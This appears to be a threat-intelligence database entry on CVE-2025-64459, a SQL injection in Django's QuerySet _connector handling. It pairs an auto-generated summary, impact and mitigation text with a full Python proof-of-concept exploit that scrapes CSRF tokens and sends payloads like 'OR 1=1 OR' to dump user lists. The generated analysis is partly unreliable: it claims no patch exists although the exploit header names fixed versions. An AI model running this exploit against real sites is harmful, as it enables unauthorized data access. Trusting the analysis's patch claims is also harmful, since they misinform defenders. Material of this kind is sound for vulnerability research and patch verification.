Django 5.1.13 - SQL Injection
Django 5.1.13 - SQL Injection
AI Analysis
Technical Summary
The reported security threat concerns a SQL Injection vulnerability in Django version 5.1.13, a widely used Python-based web framework. SQL Injection vulnerabilities occur when untrusted input is improperly sanitized, allowing attackers to inject malicious SQL code into database queries. This can lead to unauthorized data retrieval, data modification, or even full system compromise depending on the database privileges. The exploit code available is written in Python, consistent with Django's ecosystem, and demonstrates how an attacker can leverage this flaw to execute arbitrary SQL commands. Although no active exploitation has been reported, the presence of exploit code indicates that attackers could develop functional attacks rapidly. The vulnerability affects web applications that use the vulnerable Django version without adequate input sanitization or ORM protections. Given Django's popularity in Europe for web development, especially in sectors like finance, healthcare, and government services, the risk is significant. The lack of a patch link suggests that either a fix is pending or not yet publicly disclosed, emphasizing the need for immediate attention. The vulnerability does not require authentication or user interaction, which increases the attack surface and ease of exploitation. Organizations using Django 5.1.13 should prioritize identifying affected systems and applying mitigations to prevent potential data breaches or service disruptions.
Potential Impact
For European organizations, this SQL Injection vulnerability poses a substantial risk to the confidentiality and integrity of sensitive data managed by web applications built on Django 5.1.13. Exploitation could lead to unauthorized access to personal data, intellectual property, or critical business information, potentially violating GDPR and other data protection regulations. The integrity of databases could be compromised, resulting in data tampering or corruption, which can disrupt business operations and damage trust. Availability impact is less direct but possible if attackers use the vulnerability to execute denial-of-service attacks via resource exhaustion or database lockups. The ease of exploitation without authentication or user interaction increases the likelihood of automated attacks targeting vulnerable systems. This threat is particularly concerning for sectors with high-value data such as finance, healthcare, and public administration, which are prevalent across Europe. Failure to address this vulnerability could lead to regulatory penalties, reputational damage, and financial losses.
Mitigation Recommendations
European organizations should immediately inventory their web applications to identify any running Django 5.1.13 instances. Until an official patch is released, developers should review and harden all database query constructions, ensuring the use of Django's ORM parameterization features to prevent direct SQL injection. Input validation and sanitization should be enforced rigorously at all entry points. Employing Web Application Firewalls (WAFs) with rules targeting SQL Injection patterns can provide a temporary defense layer. Monitoring logs for unusual database query patterns or errors can help detect exploitation attempts early. Organizations should subscribe to Django security advisories to apply patches promptly once available. Additionally, conducting security code reviews and penetration testing focused on injection flaws will help identify and remediate vulnerabilities proactively. For critical systems, consider isolating database access and enforcing least privilege principles to limit potential damage from exploitation.
Affected Countries
Germany, United Kingdom, France, Netherlands, Sweden, Italy
Indicators of Compromise
- exploit-code: # Exploit Title: Django 5.1.13 - SQL Injection # Google Dork: [none] # Not applicable for this vulnerability # Date: 2025-12-03 # Exploit Author: Wafcontrol Security Team # Vendor Homepage: https://www.djangoproject.com/ # Software Link: https://www.djangoproject.com/download/ # Version: 5.2 before 5.2.8, 5.1 before 5.1.14, 4.2 before 4.2.26 (possibly earlier versions like 5.0.x, 4.1.x, 3.2.x) # Tested on: Ubuntu 24.04 with Django 5.1.13 (vulnerable version) # CVE: 2025-64459 Description: This proof-of-concept exploits a SQL injection vulnerability in Django's QuerySet methods (filter, exclude, get) and Q objects when using a crafted dictionary with expansion as the _connector argument. The vulnerability allows an attacker to inject arbitrary SQL into the WHERE clause, potentially leading to data leakage, modification, or other database compromises. The script targets a vulnerable Django application endpoint that accepts user input for the _connector parameter. It supports multiple modes: - baseline: Send a safe request and display results. - exploit: Send an exploit payload and compare with baseline. - multi: Test multiple payloads sequentially. - check: Automatically check if the target appears vulnerable. Usage: python3 exploit.py <mode> -u <target_url> [options] Modes: - baseline: Run a safe baseline test. - exploit: Run an exploit test with a single payload. - multi: Test multiple payloads (use -p multiple times or comma-separated). - check: Quick vulnerability check using default payloads. Examples: python3 exploit.py baseline -u http://target/ python3 exploit.py exploit -u http://target/ -p "OR 1=1 OR" python3 exploit.py multi -u http://target/ -p "OR 1=1 OR" -p "AND 1=0 AND" python3 exploit.py check -u http://target/ Options: - -b, --baseline: Baseline connector value (default: 'AND') - -v, --verbose: Enable verbose output - -o, --output: Save output to a file Requirements: - Python 3.x - requests library (pip install requests) Note: - This is for educational and testing purposes only. Use on authorized systems. - Ensure the target endpoint exposes the executed SQL (e.g., via debug mode or custom template) for demonstration. - In a real scenario, adapt the parsing logic to the application's response structure. - For advanced usage, customize payloads for specific SQL dialects (e.g., SQLite, PostgreSQL). import re import sys import argparse import json from typing import List, Tuple, Optional import requests DEFAULT_BASELINE = "AND" DEFAULT_PAYLOADS = ["OR 1=1 OR", "AND 1=0 AND", "OR 'a'='a' OR"] def extract_sql_and_users(html: str) -> Tuple[Optional[str], List[str]]: """ Extracts the executed SQL and list of users from the HTML response. Assumes the template structure: - SQL inside <pre>...</pre> - Users inside <li>username – email</li> Adjust regex patterns based on the actual response format. """ # Extract SQL from the first <pre>...</pre> sql_match = re.search(r"<pre>(.*?)</pre>", html, re.DOTALL) executed_sql = sql_match.group(1).strip() if sql_match else None # Extract users from <li>...</li> users = re.findall(r"<li>(.*?)</li>", html) users = [u.strip() for u in users if u.strip()] return executed_sql, users def send_payload(target_url: str, connector_value: str, verbose: bool = False) -> Tuple[Optional[str], List[str]]: """ Sends a POST request with the connector value as the search field. Handles CSRF token extraction and session management. Returns the executed SQL and list of users from the response. """ if verbose: print(f"[*] Fetching CSRF token from {target_url}...") # Step 1: GET request to fetch CSRF token try: get_resp = requests.get(target_url, timeout=10) get_resp.raise_for_status() except requests.RequestException as e: print(f"[!] GET request failed: {e}") sys.exit(1) # Extract csrfmiddlewaretoken from the form csrf_match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', get_resp.text) if not csrf_match: print("[!] Could not find CSRF token in the response.") sys.exit(1) csrf_token = csrf_match.group(1) if verbose: print(f"[i] CSRF token: {csrf_token[:10]}...") # Prepare POST data data = { "csrfmiddlewaretoken": csrf_token, "search": connector_value, } # Use session to maintain cookies (including CSRF) session = requests.Session() session.cookies.update(get_resp.cookies) if verbose: print(f"[*] Sending POST with connector = {repr(connector_value)}...") # Step 2: POST request with payload try: post_resp = session.post(target_url, data=data, timeout=10) post_resp.raise_for_status() except requests.RequestException as e: print(f"[!] POST request failed: {e}") sys.exit(1) # Parse response executed_sql, users = extract_sql_and_users(post_resp.text) return executed_sql, users def run_baseline(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]) -> Tuple[Optional[str], List[str]]: print("[*] Running baseline test...") base_sql, base_users = send_payload(target_url, baseline, verbose) print("\n--- Baseline (Safe) ---") print("Executed SQL:") print(base_sql or "(No SQL found)") print("\nUsers Returned:") if base_users: for u in base_users: print(" -", u) else: print(" (No users)") if output_file: with open(output_file, 'a') as f: f.write("--- Baseline ---\n") f.write(f"SQL: {base_sql or 'None'}\n") f.write("Users: " + json.dumps(base_users) + "\n\n") return base_sql, base_users def run_exploit(target_url: str, payload: str, baseline_data: Tuple[Optional[str], List[str]], verbose: bool, output_file: Optional[str]): print(f"\n[*] Running exploit with payload = {repr(payload)}...") exploit_sql, exploit_users = send_payload(target_url, payload, verbose) print("\n--- Exploit Attempt ---") print("Executed SQL:") print(exploit_sql or "(No SQL found)") print("\nUsers Returned:") if exploit_users: for u in exploit_users: print(" -", u) else: print(" (No users)") if output_file: with open(output_file, 'a') as f: f.write(f"--- Exploit: {payload} ---\n") f.write(f"SQL: {exploit_sql or 'None'}\n") f.write("Users: " + json.dumps(exploit_users) + "\n\n") analyze_results(baseline_data[0], baseline_data[1], exploit_sql, exploit_users) def run_multi(target_url: str, payloads: List[str], baseline: str, verbose: bool, output_file: Optional[str]): base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file) for payload in payloads: run_exploit(target_url, payload, (base_sql, base_users), verbose, output_file) def run_check(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]): print("[*] Running vulnerability check...") base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file) vulnerable = False for payload in DEFAULT_PAYLOADS: exploit_sql, exploit_users = send_payload(target_url, payload, verbose) if base_users != exploit_users or (base_sql and exploit_sql and base_sql != exploit_sql): print(f"[!] Potential vulnerability detected with payload: {repr(payload)}") print(" User list or SQL changed, indicating possible injection.") vulnerable = True if output_file: with open(output_file, 'a') as f: f.write(f"--- Check Payload: {payload} ---\n") f.write(f"SQL: {exploit_sql or 'None'}\n") f.write("Users: " + json.dumps(exploit_users) + "\n\n") if vulnerable: print("\n[+] Target appears VULNERABLE.") else: print("\n[-] Target does NOT appear vulnerable (or parsing failed).") def analyze_results(base_sql: Optional[str], base_users: List[str], exploit_sql: Optional[str], exploit_users: List[str]): print("\n--- Analysis ---") if base_sql and exploit_sql: print("[i] Compare baseline WHERE clause vs. exploit (visual inspection recommended).") if base_users != exploit_users: print("[!] User list changed between baseline and exploit requests.") print(" This indicates the WHERE logic was altered, consistent with SQL injection.") print(" If more users are returned, the payload likely bypassed filters.") else: print("[i] User list did NOT change. The target may be patched or the payload ineffective.") else: print("[i] Could not extract SQL from one or more responses.") print(" Verify the template includes <pre>...</pre> for SQL display.") def main(): # Parse command-line arguments parser = argparse.ArgumentParser( description="Django CVE-2025-64459 SQL Injection PoC", formatter_class=argparse.RawTextHelpFormatter ) subparsers = parser.add_subparsers(dest='mode', required=True, help='Available modes') # Common arguments def add_common_args(subparser): subparser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://127.0.0.1:8000/cve-2025-64459/)') subparser.add_argument('-b', '--baseline', default=DEFAULT_BASELINE, help=f'Baseline connector value (default: {DEFAULT_BASELINE})') subparser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') subparser.add_argument('-o', '--output', help='Save output to a file') # Baseline mode baseline_parser = subparsers.add_parser('baseline', help='Run baseline test') add_common_args(baseline_parser) # Exploit mode exploit_parser = subparsers.add_parser('exploit', help='Run exploit with single payload') add_common_args(exploit_parser) exploit_parser.add_argument('-p', '--payload', required=True, help='Exploit payload for _connector') # Multi mode multi_parser = subparsers.add_parser('multi', help='Test multiple payloads') add_common_args(multi_parser) multi_parser.add_argument('-p', '--payload', action='append', help='Exploit payloads (can be used multiple times)') # Check mode check_parser = subparsers.add_parser('check', help='Quick vulnerability check') add_common_args(check_parser) args = parser.parse_args() target_url = args.url.rstrip("/") + "/" baseline = args.baseline verbose = args.verbose output_file = args.output if output_file: with open(output_file, 'w') as f: f.write(f"Target: {target_url}\n\n") print(f"[+] Target URL: {target_url}") if verbose: print("[i] Verbose mode enabled.") if args.mode == 'baseline': run_baseline(target_url, baseline, verbose, output_file) elif args.mode == 'exploit': base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file) run_exploit(target_url, args.payload, (base_sql, base_users), verbose, output_file) elif args.mode == 'multi': payloads = args.payload or DEFAULT_PAYLOADS if not payloads: print("[!] No payloads provided for multi mode.") sys.exit(1) run_multi(target_url, payloads, baseline, verbose, output_file) elif args.mode == 'check': run_check(target_url, baseline, verbose, output_file) if __name__ == "__main__": main()
Django 5.1.13 - SQL Injection
Description
Django 5.1.13 - SQL Injection
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a SQL Injection vulnerability in Django version 5.1.13, a widely used Python-based web framework. SQL Injection vulnerabilities occur when untrusted input is improperly sanitized, allowing attackers to inject malicious SQL code into database queries. This can lead to unauthorized data retrieval, data modification, or even full system compromise depending on the database privileges. The exploit code available is written in Python, consistent with Django's ecosystem, and demonstrates how an attacker can leverage this flaw to execute arbitrary SQL commands. Although no active exploitation has been reported, the presence of exploit code indicates that attackers could develop functional attacks rapidly. The vulnerability affects web applications that use the vulnerable Django version without adequate input sanitization or ORM protections. Given Django's popularity in Europe for web development, especially in sectors like finance, healthcare, and government services, the risk is significant. The lack of a patch link suggests that either a fix is pending or not yet publicly disclosed, emphasizing the need for immediate attention. The vulnerability does not require authentication or user interaction, which increases the attack surface and ease of exploitation. Organizations using Django 5.1.13 should prioritize identifying affected systems and applying mitigations to prevent potential data breaches or service disruptions.
Potential Impact
For European organizations, this SQL Injection vulnerability poses a substantial risk to the confidentiality and integrity of sensitive data managed by web applications built on Django 5.1.13. Exploitation could lead to unauthorized access to personal data, intellectual property, or critical business information, potentially violating GDPR and other data protection regulations. The integrity of databases could be compromised, resulting in data tampering or corruption, which can disrupt business operations and damage trust. Availability impact is less direct but possible if attackers use the vulnerability to execute denial-of-service attacks via resource exhaustion or database lockups. The ease of exploitation without authentication or user interaction increases the likelihood of automated attacks targeting vulnerable systems. This threat is particularly concerning for sectors with high-value data such as finance, healthcare, and public administration, which are prevalent across Europe. Failure to address this vulnerability could lead to regulatory penalties, reputational damage, and financial losses.
Mitigation Recommendations
European organizations should immediately inventory their web applications to identify any running Django 5.1.13 instances. Until an official patch is released, developers should review and harden all database query constructions, ensuring the use of Django's ORM parameterization features to prevent direct SQL injection. Input validation and sanitization should be enforced rigorously at all entry points. Employing Web Application Firewalls (WAFs) with rules targeting SQL Injection patterns can provide a temporary defense layer. Monitoring logs for unusual database query patterns or errors can help detect exploitation attempts early. Organizations should subscribe to Django security advisories to apply patches promptly once available. Additionally, conducting security code reviews and penetration testing focused on injection flaws will help identify and remediate vulnerabilities proactively. For critical systems, consider isolating database access and enforcing least privilege principles to limit potential damage from exploitation.
Affected Countries
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Technical Details
- Edb Id
- 52456
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Django 5.1.13 - SQL Injection
# Exploit Title: Django 5.1.13 - SQL Injection # Google Dork: [none] # Not applicable for this vulnerability # Date: 2025-12-03 # Exploit Author: Wafcontrol Security Team # Vendor Homepage: https://www.djangoproject.com/ # Software Link: https://www.djangoproject.com/download/ # Version: 5.2 before 5.2.8, 5.1 before 5.1.14, 4.2 before 4.2.26 (possibly earlier versions like 5.0.x, 4.1.x, 3.2.x) # Tested on: Ubuntu 24.04 with Django 5.1.13 (vulnerable version) # CVE: 2025-64459 Description: Thi... (11144 more characters)
Threat ID: 69307a4db129615efa16edc4
Added to database: 12/3/2025, 5:58:37 PM
Last enriched: 12/3/2025, 5:59:47 PM
Last updated: 12/4/2025, 10:40:48 AM
Views: 9
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